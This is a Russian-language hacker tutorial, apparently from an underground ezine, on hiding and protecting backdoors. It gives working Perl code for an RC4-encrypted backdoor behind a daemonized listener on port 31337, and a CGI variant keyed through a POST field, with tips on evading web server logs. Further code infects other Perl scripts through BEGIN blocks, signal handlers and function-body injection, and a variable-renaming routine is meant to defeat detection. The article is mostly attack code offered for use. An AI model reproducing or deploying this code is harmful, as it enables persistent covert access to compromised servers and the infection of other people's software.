Как в настоящее время защищенны обычные бэкдоры в системах? Обычно никак. Максимум что используется это пароли. В некоторых случаях используются хэши паролей - для этого используют MD5 или стандартную функцию crypt. Этот подход имеет свои минусы и плюсы. Давайте их рассмотрим:

  • Итак предположим что вы храните пароль в скрипте в открытом виде (это не так уж и плохо как утверждают некоторые!). Схема взаимодействия - пароль пересылается по сети в открытом виде, потом происходит сравнение если совпадают - значит все ок.
  • В случае использования хэшей есть 2 варианта взаимодействия - по сети пересылается хэш пароля, или пароль пересылается в открытом виде и потом считается его хэш и сравнивается с сохранённым в скрипте.
  • конечно есть более сложные методы - например можно почитать The remote system reboot - Mazafaka edition [by PoizOn] (MaZaFaKa.Ru Ezine Episode III). Но мы рассматриваем сейчас только простое взаимодействие, например через telnet.
Вариант пересылки по сети хэша и открытого пароля впринципе одинаковы - в обоих случаях вы пересылаете строку текста, которая потом сравниться со строкой зашитой в скрипте. В случае если вы шлёте открытый пароль, который потом хэшируется - то разница опять же невелика. Во первых хэширование усложняет скрипт, во вторых для него используются внешние модули (моё имхо что бэкдор не должен использовать ничего внешнего - для запуска на любой системе), и наконец в третьих скрипт не зашишён от посягательств. Любой может посмотреть исходный код вашего бэкдора и при желании исправить этот пароль под себя ;) или что ещё хуже изменить текст бэкдора - так например что б он скрывал присутвие root'a/его активность в системе - этакий руткит наоборот....

В качестве решения одновременно по авторизации пользователя и защите скрипта от посягательств возможно зашифровать основное тело скрипта. Таким образом бэкдор распадается на 2 части - первая часть принимает ключ от пользователя и расшифровывает им вторую - наиболее важную часть скрипта. Если ключ правильный - то вторая часть запускается на исполнение и мы имеем полноценный бэкдор в системе.

Parth I. Выбор шифра

На самом деле задача выбора шифра довольно сложна - надо выбрать алгоритм шифрования максимально простой, быстрый и надёжный, учитывая при этом что любители классического xor идут нах ;)

Наш выбор - алгоритм RC4 - поточный алгоритм с переменным размером ключа. Есстесвенно исходя из различных условий следует выбирать различные алгоритмы - однако если вам противостоит среднестатический администратор - значит RC4 идеально подойдёт. Рассмотрим подробнее работу данного шифра.

В алгоритме используются 2 счётчика (обозначим их X и Y) с нулевыми начальными значениями и блок замены (S-блок) размером 8*8. Для генерации одного байта гаммы применяются следущие операции (обозначим через S[i] содержимое i-ой ячейки S-блока):

  • X = (X + 1) mod 256
  • Y = (Y + S[X]) mod 256
  • Меняем местами S[X] и S[Y]
  • T = (S[X] + S[Y]) mod 256
  • K = S[T]
Байк K используется в операции XOR с открытым текстом для получения шифротекста, или же наоборот в операции XOR с шифротектом для получения открытого текста. Естественно нам надо заранее инициализовать S-блок. Инициализация зависит от ключа и выполняется соответвенно 1 раз:
  • Заполняем S-блок линейно - те S[0] = 0, S[1] = 1, ... S[255] =255
  • Заполним 256 байтовый массив k байтами ключа, при этом если необходимо, повторяем ключ - получим соответвенно k[0], k[1]...k[255]
  • Перемешивание S-блока: Y = 0
      В цикле по X от 0 до 255
    • Y = (Y + S[X] + k[x]) mod 256
    • Меняем местами S[X] и S[Y]
Вот и всё ! Просто и логично. Ну и кроме того алгоритм очень компактный - минимальные решения на С и Perl занимают всего 4 строки кода (здесь приводится развернутый код - более компактный код я приведу в конце статьи).

$key = ключ;
$data = текст, который нужно зашифровать / расшифровать;

#функция для перестановки S[X] и S[Y]
sub S{
	@s[$x,$y]=@s[$y,$x]
}

@k=unpack"C*",pack"H*",$key;

#инициализация S-блока
$x=$y=0;
for(@t=@s=0..255){
	($y+=$k[$_%@k]+$s[$x=$_])%=256;
	&S
}
$x=$y=0;

#шифрование 
$l=0;
($y+=$s[($x+=1)%=256])%=256,&S,vec($data,$l++,8)^=$s[($s[$x]+$s[$y])%256] while $l<length ($data);

Немного истории:

Алгоритм RC4 разработан Роном Ривестом для RSA Data Security в далёком 1987 году. И вплоть до 1994 года алгоритм являлся собственностью компании. Но в сентябре 1994 исходный код был опубликован в списке рассылки шифропанков и перестал быть секретом. Сам по себе RC4 используется во многих продуктах крупных компаний - например M$.

Parth II. Готовим бэкдор.

Теперь нам необходим скрипт, который будет готовить бэкдоры, шифруя их тело. Для проверки правильности первоначально расчитаем контрольную сумму шифруемого скрипта и так же сохраним её.
Примерный текст модуля:

#!/bin/perl 
# bdrc4.pl
use integer;

# step 0
# init data
$file = "bd.pl"; 
$sample_file = "startbd";
$key = "123abcdefQWERT";

# step 1
# read file

open (FILE, "$file") || die "Cannot open file";
while (<FILE>) {
	$data .= $_;
}
close FILE;


#remove some shits
$data =~ s/([^\$])#([^\n])*//g;
$data =~ s/(\n)*\n/\n/g;

# step 2
# calculate checksumm
$crc = &CRC32($data);

# step 3 
# generate chypertext

sub S{
	@s[$x,$y]=@s[$y,$x]
}

@k=unpack"C*",pack"H*",$key;
$x=$y=0;
for(@t=@s=0..255){
	($y+=$k[$_%@k]+$s[$x=$_])%=256;
	&S
}
$x=$y=0;

$l=0;
($y+=$s[($x+=1)%=256])%=256,&S,vec($data,$l++,8)^=$s[($s[$x]+$s[$y])%256] while $l<length ($data);

$data =  unpack "h*", $data;

# step 4
# save

&SaveFile ($sample_file, $data, $crc);

Более полный текст модуля с функциями SaveFile и CRC32 можно найти в архиве к статье.
Итак что же делает данный скрипт? Вначале нам необходимо задать кое какие входные данные:
$file = "bd.pl"; # оригинальный текст бэкдора, который мы будем шифровать
$sample_file = "startbd"; # файл шаблон для скрипта, расшифровывающего бэкдор
$key = "123abcdefQWERT"; # ключ для шифрования

После этого мы считываем оригинальный текст из файла который нам необходимо зашифровать, удаляем в нём строки комментариев и пустые (для уменьшения размера), считаем контрольную сумму, шифруем и при помощи функции SaveFile записываем зашифрованный скрипт и контрольную сумму в файл-шаблон.

Parth III. Запуск бэкдора

Теперь рассмотрим работу шаблона для расшифровки нашего бэкдора - очевидно что это должен быть какой-то самостоятельный скрипт, который тем или иным способом получает данные, расшифровывает скрипт, сверяет контрольную сумму и, в случае совпадения запускает скрипт на исполнение. Учитывая наш довольно комактный алгоритм шифрования можно разместить текст бэкдора например в движке форума - благо мест там достаточно и длдя расшифровки использовать например название темы (в случае несовпадения CRC просто добавлять тему, а в сучае удачной расшифровки запускать бэкдор).

Можно написать скрипт для запуска через Web - используя для передачи данных туннелинг в HTTP. Хочется предостеречь от передачи пароля стандартным для некоторых бэкдоров методом GET - все эти данные логгятся и поэтому лучше использовать что-нибудь менее приметное. И наконец ещё одно решение - это будет другой бекдор -те скрипт, который открывает какой-то порт, ждёт подключения - принимает пароль и пытается расшифровать оригинальный текст бэкдора. Для начала и рассмотрим 3-й метод. Займёмся написанием своего бэкдора...

#!/usr/bin/perl
# startbd
use Socket;
use integer;

$port= 31337; # порт на котором будем ожидать подключений
$proto= getprotobyname('tcp');
$data=qq~data1~; #зашифрованный скрипт
$crc="data2"; # контрольная сумма скрипта

$data =  pack "h*", $data;

# открываем сокет и начинаем прослушивать
socket(SERVER, PF_INET, SOCK_STREAM, $proto)or die &error();
setsockopt(SERVER, SOL_SOCKET, SO_REUSEADDR, pack("l", 1)) or die &error();
bind(SERVER, sockaddr_in($port, INADDR_ANY)) or die &error();
listen(SERVER, SOMAXCONN)or die &error();

# игнорим возможные попытки прервать наш скрипт
$SIG{'INT'}=$SIG{'HUP'}=$SIG{'TERM'}=$SIG{'CHLD'}='IGNORE';

# если запуск под *nix системой - тогда переходим работать в фон
if ($^O ne "MSWin32"){
	use POSIX 'setsid';
	die &exit() unless defined (my $child = fork);
	exit 0 if $child;
	setsid ();
	open (STDIN, "</dev/null");
	open (STDOUT, ">/dev/null");
	open (STDERR, ">&STDOUT");
}

while (1) {
	# принимаем входящее соединение
	next unless my $remote_addr=accept(SESSION,SERVER);

	# считываем по одному символу 
	while(1){
			my $s;
			$bytes = read (SESSION, $s, 1);

			if ($s eq "\r" or $s eq "\n"){
				last;
			}

			$key .= $s;
	}

	# пытаемся расшифровать, используя полученный ключ
	$sdata = $data;
	$x=$y=0;
	@k=unpack"C*",pack"H*",$key;
	for(@t=@s=0..255){
		($y+=$k[$_%@k]+$s[$x=$_])%=256;
		&S
	}
	$x=$y=$l=0;
	($y+=$s[($x+=1)%=256])%=256,&S,vec($sdata,$l++,8)^=$s[($s[$x]+$s[$y])%256] while $l<length ($data);

	# считаем CRC32 того что расшифровали
	$crc1 = &CRC32 ($sdata);

	if ($crc1 ne $crc) {
		# облажались - говорим досвидания
		print SESSION "shit";
		$key = "";
	}
	else{
		# всё нормально - вырубаемся и передаём управление дочернему скрипту
		close SESSION;
		eval ($sdata);
		last;

	}

	close SESSION;
}

Полный текст этого скрипта так же можно найти в архиве.

Path IV. Вирусы

Другой метод, который мы рассмотрим восходит своими корнями в вирмейкерство. Мы будем внедрять свой код в чужие скрипты. В идеале это нужно делать руками -что бы всё было красиво и как полагается... однако мы напишем некое подобие вируса, который заражает файл текстом бэкдора.

Итак прежде всего нам необходимо рассмотреть возможности вирусов на языке Perl - ведь и заражать мы будем pl файлы. Итак какие существуют варианты вирусов (из тех что мне встречались):

  • Запись тела вируса в начало / конец скрипта.
  • Сохранение тела скрипта в функции и выставка в начало / конец скрипта её вызовва - &Viruzz ;)
  • Использование блока BEGIN для запуска своего кода.
  • Использование обработчиков сигналов (например alarm или fork)
  • Использование UEP (Unknown Entry Point) метода - тело вируса вписывается в случайное место в файле
  • Более продвинутый вариант предыдущего метода - изменение тела одной из функций... Для увеличения вероятности запуска - можно заразить несколько функций.
Рассмотрим по порядку все этим методы. Мы будем писать функцию SaveFile из файла bdrc4.pl, а так же перепишем кусок скрипта startbd, который отвечает за расшифровку. Для простоты представим что мы заражем веб сценарии на каком-нибудь сервере. Соответственно будем ожидать пароль для расшифровки через какие-нибудь параметры HTTP протокола. Давайте рассмотрим какие параметры HTTP использовать возможно, а какие нет.

На самом деле наиболее безопасным является использование куков и / или данных POST. Всё очень просто данные передающиеся с помощью метода GET, через QUERY_STRING попадают в логи на любом веб сервере, так же как и другие основные заголовки HTTP протокола (User-Agent, Referer, Accept-language, etc). Конечно можно добавить свой заголовок - но этом омжет вызвать какие-либо подозрения при анализе трафика. Поэтому лучше всего скрыть свои данные в легальном потоке. Как уже отмечалось выше если вы знаете какие данные получает скрипт - то лучше использовать именно эти данные для передачи пароля - это может быть и специальная строка для поиска, заголовок темы, или специально сформированный email адрес...да мало ли чего.

$data=qq~data1~;
$crc="data2";

$data =  pack "h*", $data;

# прочитаем данные, переданные через POST запрос
read(STDIN, $buffer, $ENV{'CONTENT_LENGTH'});
@pairs = split(/&/, $buffer);
foreach $pair (@pairs) {
	($name, $value) = split(/=/, $pair);
	$value =~ tr/+/ /;
	$value =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;
	$input{$name} = $value;
}

# если существует поле theme - в нёым передаётся ключ
if ($input{'theme'} ne ''){

	# расшифровываем
	$x=$y=0;
	@k=unpack"C*",pack"H*",$input{'theme'};
	for(@t=@s=0..255){
		($y+=$k[$_%@k]+$s[$x=$_])%=256;
		&S
	}
	$x=$y=$l=0;
	($y+=$s[($x+=1)%=256])%=256,&S,vec($data,$l++,8)^=$s[($s[$x]+$s[$y])%256] while $l<length ($data);

	$crc1 = &CRC32 ($data);	

	# сравниваем CRC
	if ($crc1 ne $crc) {
		# ошибка - либо ничего не делаем
		# либо посылаем пользователю какое-нить уведомление...
		print "HTTP/1.0 302 Found\n";
		print "Location: wrong_password.pl\n\n";
		exit;
	}
	else{	
		# всё ок  - в качестве альтернативы можно вызвать exit 
		# для выхода после eval
		eval ($data);
	}
}
...

Теперь рассмотрим сам процесс внедрения - напишем последовательно различные варианты скрипта для внедрения нашего кода. Первый вариант - мы внедряем функцию в конец скрипта, и добавляем в начало её вызов. Те поражённый скрипт будет выглядеть таким образом:

#!usr/bin/perl
&OurSub;
[Main Script]
sub OurSub{
	.....
}

Это довольно просто:

# $file - имя файла, который мы хотим заразить open (FILE, "$file") || die "Cannot open file"; @data = <FILE>; close FILE; # код для внедрения: $injection_code = "sub Test { print \"Yo-ho-ho\"; }"; # вызываемая функция: $injection_sub = "&Test;"; # флажок - что мы уже внедрили код $injection_complete = 0; open (FILE, ">$file"); foreach $line (@data) { # ищем первую строку в которой содержится ; # и не содержится символ # if ($line =~ /;/ && !$injection_complete && !($line =~ /#/)) { # добавляем вызов нашей функции $line = "$injection_sub$line"; #устанавливаем флажок успешного внедрения $injection_complete = 1; } # сохраняем всё это print FILE "$line"; } # дописываем в конец файла текст нашей функции print FILE "$injection_code"; close(FILE);

Следующий метод внедрения - ещё более простой - мы просто внедрим в случайное место файла блок BEGIN - он всегда выполняется в первую очередь, поэтому ваш код получит управление первым - нас даже не должно волновать куда мы попадём - мы можем реально воткнуться в случайное место файла - в любую функцию, цикл или условие if/else...

open (FILE, "$file") || die "Cannot open file";
@data = <FILE>;
close FILE;

# выводим сообщение и выходим - реальная часть скрипта никогда не получит управление
$injection_code = "BEGIN { print \"Yo-ho-ho busters, you script will never run\"; exit; }";

# выбираем случайную строку для размещения нашего кода
$injection_start = int (rand ($#data));

# флажок - что мы уже внедрили код
$injection_complete = 0;

open (FILE, ">$file");

$i = 0;
foreach $line (@data) {
			# проверим что мы находимся на нужной строчке и это строка кода:
			if ($i == $injection_start && $line =~ /;/ && !$injection_complete && !($line =~ /#/)) {
				$line = "$injection_code\n$line";
				$injection_complete = 1;
			}
			elsif ($i == $injection_start && !$injection_complete){
				# мы оказались не на строке кода - увеличим счётчик
				$injection_start ++;
			}
			print FILE "$line";
			$i ++;
}
# если мы всё таки не внедрились - добавим себя в конец файла.
if (!$injection_complete) 
	print FILE "$injection_code";

close(FILE);

Следующи вариант - использование сигналов - мы можем установить обработчики различных сигналов. Наиболее интересной техникой мне кажется обработка функций warn и die. Для этого необходимо установить 2 специальных значения хэша SIG:

$SIG{__DIE__} = \&our_sub;
$SIG{__WARN__} = \&our_sub;

sub our_sub{
	....
}

Теперь когда в исходном скрипте будет вызванна функция die или warn - то усправление передаться на наш код. Таким образом мы можем специально вызвать (внешними данными) в скрипте исключение для выполнения кода.

Ещё одной неожиданной мыслью может стать установка сигнала в именно момент исключения:

die $SIG{__DIE__} = \&check_this_out;

И напоследок - изменение кода какой-либо функции в скрипте. Для начала скрипт собирает имена всех функций в файле, после этого случайным образом выбирается одна из них и в её тело внедряется код.

open (FILE, "$file") || die "Cannot open file";
@data = <FILE>;
close FILE;

$injection_code = " print \"Hello fucking world!\"";

$i = 0; # счётчик строк
$badline = 0; # строка на которой встретим exit

foreach $line (@data) {
	$d .= $line; # собираем весь текст файла по ходу дела в одну переменную
	chomp($line);
	# составляем хэш, содержащий имена функций:
	if ($line=~ /sub ([ \t]*)(([^{\n])*)/) {
		# сохраняем имя функции и строку на которой
		# встречается её описание
		$sublist{$2} = $i;
	}
	$i ++;
}

# случайным образом выбираем процедуру
$i = keys %sublist;
$sub = int(rand($i-1))+1;
$i= 0;

# перебираем все функци в хэше:
foreach $key(sort keys %sublist) {
	if ($i == $sub) {
		# нашли функцию на которую пал выбор

		# wanna debug ?
		#print "Found :$key";
		
		# увеличиваем номер строки, пока не встретим {
		# что бы попасть чётко в тело функции, а не в
		# промежуток между названием и {
		while ($file[$sublist{$key}+1] =~ /{/) {
			$sublist{$key} ++;
		}

		$x = $d;
		$d = "";

		# теперь надо проверить есть ли в
		# тексте вызов ннашей функции
		# для этого удалим из текста файла
		# описания всех всех процедур 
		# поищем в оставшемся куске вызов
		# если вызов не найден - то определи строку 
		# в которой первый раз встречается exit
		# и внедримся случайно перед этой строкой

		# сначала изничтожаем из текста файла
		# комментарии
		# хэши 
		# описания процедур в одну строку
		$x =~ s/([^\$])#([^\n])*//gm;
		$x =~ s/\$(\S+)*([ \t])*\{([^\})])*\}//gm;
		$x =~ s/\bsub\b([^\{])*\{/sub {/gm;
		$x =~ s/sub([^\{\n])*{([^\}\n])*}//gm;

		$count = -1;
		$i = 0;

		for my $line (split(/\n/,$x))   {
				if($line=~/\bsub\b/) {
					$count = 0;
	            }

				if ($count >= 0) {
					$line=~s/{/($count++)/ee;
					$line=~s/}/($count--)/ee;
				}

				$count=-1 if (!$count &&  !($line =~ /\}/));

				if ($count==-1){
					$d.="$line\n";

					if ($line=~ /exit/ && $badline == 0) {
						$badline = $i;
					}
				}

				$i ++;
		}

		# теперь в $d у нас содержиться тест файла без описания функций,
		# а в $badline первая строка где встречается вызов exit

		if ($d =~ /die([ \t]*)$key\b/) {
			# данная функиця используется в сочетании с die	
			# возможно стоит это как обработать
			# а может и нет =))
		}
		else{
			if ($d =~ /([ ]|[\&])$key([\(]|[;]|[,]|[ ]|[\n])/x) {
				# в тексте файла есть вызов данной функции - значит всё ок
				# скинем $badline
				$badline = -1; 
			}
		}

		# сохраняем всё это чудо:
		open (FILE, ">$file");

		if ($badline >= 0) {
			
			# если вызова нет и Exit не встречается
			# тогда надо случайно определить 
			# строку куда мы вставимся:
			if (!$badline) {
				@lines = split (/\n/, $d);
				$badline =int (rand ($#lines));
			}
			$sub = int (rand ($badline));
			
			# добавляем вызов функции:
			$data[$sub] = "&$key;$data[$sub]";
		}

		# сохраняем данные из файла:
		for ($j=0; $j<$sublist{$key}+1;$j++) {
			print FILE "$data[$j]\n";
		}

		# внедряем код
		print FILE "$injection_code\n";

		# дописываем остаток файла
		for ($j=$sublist{$key}+1; $j<=$#data;$j++) {
			print FILE "$data[$j]\n";
		}
		close(FILE);

		last;
	}
	$i ++;
}

Естественно что эта техника больше подходит вирусам чем бэкдорам - ведь нет гарантии что скрипт обязательно вызовет функцию в код которой мы внедрились....

Parth V. Простой полиморфизм

Что бы как нибудь защитить скрипт от анализа и определения можно добавить немного полиморфизма. Самый простой вариант - изменить имена переменных (и/или функций). При чём для большего эффекта можно изменять имена переменных не только своего скрипта, но скрипта куда производится внедрение. Производится всё это довольно просто - собираем имена всех переменных и с помощью рег экспов заменим их случайными выражениями:

# в переменной $x находится тело скрипта:
for my $line (split(/\n/,$x))   {

				# выдираем имена переменных:
				if ($line =~ /[^\\]\$([^ \t\;\{#_\"\(\)<>=\\\/\.\,\[\]\|\&\'\+\-\*])*/ ) {
					$v = $&;
					
					# проверим что б это было не $1 и тп:
					if (($v ne '$') && !($v =~ /\$[1-9]/)) {
						# удалим символ $
						$v =~ s/\$//;

						# составим хэш вида:
						# varlist {старое имя переменной} = новое имя переменной
						# новое имя состоит из случайной буквы и цифры
						$varlist {$v} = chr (int (rand (25)+65)); 
						$varlist {$v} .= int (rand (65535));
					}
				}
}

# пройдёмся по всем элементам хэша
foreach $v(sort keys %varlist) {
		# заменим значения $, $# и @ на случайные :
		$x =~ s/\$$v\b/\$$varlist{$v}/gim;
		$x =~ s/\$\#$v\b/\$\#$varlist{$v}/gim;
		$x =~ s/\@$v\b/\@$varlist{$v}/gim;
}

Конечно такой полиморфизм идеальным не назовёшь (да и вообще у меня большие сомнения в необходимости полиморфизма такого рода в этих скриптах) - но всё же что-то лучше чем ничего.

Outro

Вот и всё - теперь никто кроме вас не только не сможет использовать ваши бэкдоры, но и понимать что они делают. Естественно что это ещё не предел совершенства - данный скрипт уязвим к man-in-the-middle атакам так что ваш пароль могут соснифать - но с другой стороны для запуска бэкдора вам не нужно ничего кроме telnet'а или браузера - это часто тоже немаловажный плюс. Во второй части статьи как раз и будет рассмотренно как организовать безопасный канал для передачи пароля - однако прежде чем его использовать следует подумать - а оно вам надо ? ;)

А теперь как и обещалось RC4 in 4 lines of Perl ;)

#!/bin/perl -0777p-- export-a-crypto-system-sig -RC4-in-3-lines-of-perl
use integer;BEGIN{sub S{@s[$x,$y]=@s[$y,$x]}@k=unpack"C*",pack"H*",shift@ARGV;
for(@t=@s=0..255){($y+=$k[$_%@k]+$s[$x=$_])%=256;&S}$x=$y=0}$l=0;($y+=$s[($x+=
1)%=256])%=256,&S,vec($_,$l++,8)^=$s[($s[$x]+$s[$y])%256]while$l<length

Хотя автор и написал что скрипт в 3 строки, всё же без первой из 4-х скрипт работать не будет - так что всё таки 4 строки. Ипользовать этот скрипт таким образом:

echo hello world | rc4 my_key > test.rc4
cat test.rc4
rc4 my_key < test.rc4

Have fun ;) Думаю что код на С вам самим по силам - но при желании его так же можно найти в инете....

Some links:

 
     
     
Назад
by said
Вперед